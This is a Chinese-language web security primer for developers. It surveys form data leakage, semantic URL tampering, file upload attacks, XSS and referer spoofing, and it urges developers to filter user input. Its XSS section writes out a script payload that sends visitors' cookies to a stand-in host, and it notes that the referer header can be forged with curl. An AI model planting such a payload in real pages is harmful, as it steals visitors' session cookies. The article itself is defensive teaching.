網(wǎng)站建設(shè)知識(shí)
website knowledge
有時(shí)候程序員為了偷懶或者是在無(wú)意識(shí)的情況下缺少了對(duì)外部數(shù)據(jù)的過(guò)濾,Web安全習(xí)慣上將所有用戶輸入的數(shù)據(jù)假定為受污染的數(shù)據(jù)(即可能帶有攻擊性的數(shù)據(jù)),現(xiàn)在比較流行的XSS(跨站腳本攻擊)就是利用對(duì)用戶輸入過(guò)濾不完全而進(jìn)行的攻擊,因?yàn)橛脩魯?shù)據(jù)過(guò)濾不完全會(huì)導(dǎo)致很多很多問(wèn)題,我這里只是簡(jiǎn)單的介紹幾種比較常見(jiàn)的表單及URL攻擊方式,希望讀者能夠更大限度的注意過(guò)濾用戶輸入。
1)表單數(shù)據(jù)泄漏攻擊
這個(gè)一般剛?cè)胄械娜丝赡軙?huì)犯錯(cuò),說(shuō)得通俗一點(diǎn),就是該用POST方式提交數(shù)據(jù)的時(shí)候,用了GET方式提交數(shù)據(jù),比如,用戶登錄時(shí)候用了GET方法,導(dǎo)致用戶名和密碼都在URL上直接顯示出來(lái)了,當(dāng)然假如真的傻到這種程度,這種應(yīng)用大多還是屬于自己玩玩的東西,不是產(chǎn)品。還有一種是登錄等操作,在提交數(shù)據(jù)的時(shí)候被竊聽(tīng)或者攔截了,這種沒(méi)有很好的方式去解決,更多就是利用可以在瀏覽器上執(zhí)行的腳本,比如JavaScript對(duì)密碼和用戶加密后提交到服務(wù)器,而且更好采用不可逆的公共算法,在瀏覽器端執(zhí)行的腳本如果使用自己的算法,會(huì)增加被破解的幾率,當(dāng)然如果你的加密程度能超過(guò)或者接近現(xiàn)在流行的公共加密算法,那么也是可以的:)
2)語(yǔ)義URL攻擊
這也是利用提交的形式及參數(shù)進(jìn)行攻擊的,假如使用GET方式找回密碼,url為:http://example.org/private.php?user=abc&email=abc‘11.org,那么產(chǎn)生的攻擊也很簡(jiǎn)單,只要將user=abc改成任意其他的存在的用戶密碼就會(huì)發(fā)到后面的email中,輕松獲取別人密碼,POST方式大體也是通過(guò)竊聽(tīng)方式獲得提交的數(shù)據(jù)
3)文件上傳攻擊
文件上傳造成的危害在表單攻擊中是更大的,假如成功入侵,更壞的情況甚至是可以干任何想干的事情,因此對(duì)此不可小覷。常見(jiàn)的有大文件攻擊,假如你的服務(wù)端沒(méi)有做限制的話,那么你的硬盤(pán)很快就會(huì)被塞滿,或者是你在客戶端中只是簡(jiǎn)單的限制了一下,那些對(duì)于心懷不軌者都是擺設(shè),太容易繞開(kāi)了。假如上傳的是一個(gè)可執(zhí)行的腳本,在某種情況下會(huì)激活這個(gè)腳本,那么后果就不堪設(shè)想,驗(yàn)證上傳文件的后綴和限制上傳文件的種類(lèi)是能避免大多數(shù)低級(jí)別的攻擊者,但根本還是讓存放用戶上傳的文件的目錄沒(méi)有執(zhí)行權(quán)限,腳本不能執(zhí)行,那么它也僅僅是一般文本而已。
4)跨站腳本攻擊
跨站腳本攻擊是眾所周知的攻擊方式之一。所有平臺(tái)上的Web應(yīng)用都深受其擾,PHP應(yīng)用也不例外。
所有有輸入的應(yīng)用都面臨著風(fēng)險(xiǎn)。Webmail,論壇,留言本,甚至是Blog。事實(shí)上,大多數(shù)Web應(yīng)用提供輸入是出于更吸引人氣的目的,但同時(shí)這也會(huì)把自己置于危險(xiǎn)之中。如果輸入沒(méi)有正確地進(jìn)行過(guò)濾和轉(zhuǎn)義,跨站腳本漏洞就產(chǎn)生了。
比如在一個(gè)博客平臺(tái)提供商,一個(gè)心懷不軌的用戶在寫(xiě)博客時(shí)故意在內(nèi)容中插入<script> document.location = 'http://abc.example.org/steal.php?cookies=' + document.cookie</script>,結(jié)果所有瀏覽這篇文章的讀者的Cookie信息都在不知情的情況下發(fā)給了第三方。
5)HTTP請(qǐng)求欺騙攻擊
所謂上有政策下有對(duì)策,很多項(xiàng)目為了更大程度的得到高可信度的用戶輸入,甚至添加了判斷referer的功能,可惜這個(gè)東西十分的不靠譜,隨便一個(gè)CURL就可以欺騙過(guò)去。
畢竟所有的傳輸都只是個(gè)協(xié)議而已,而HTTP協(xié)議本身只是負(fù)責(zé)傳輸,并不負(fù)責(zé)諸如安全之類(lèi)的其他問(wèn)題,所以過(guò)程怎么偽造都是可以的,只要攻擊者足夠的熟悉HTTP協(xié)議,針對(duì)HTTP協(xié)議本身的攻擊,似乎目前還沒(méi)有看到,雖然欺騙、攻擊隨處可見(jiàn),方式變化多樣,只要做好了過(guò)濾,多想一點(diǎn)再多想一點(diǎn),任何攻擊得到的都是一個(gè)錯(cuò)誤頁(yè)面而已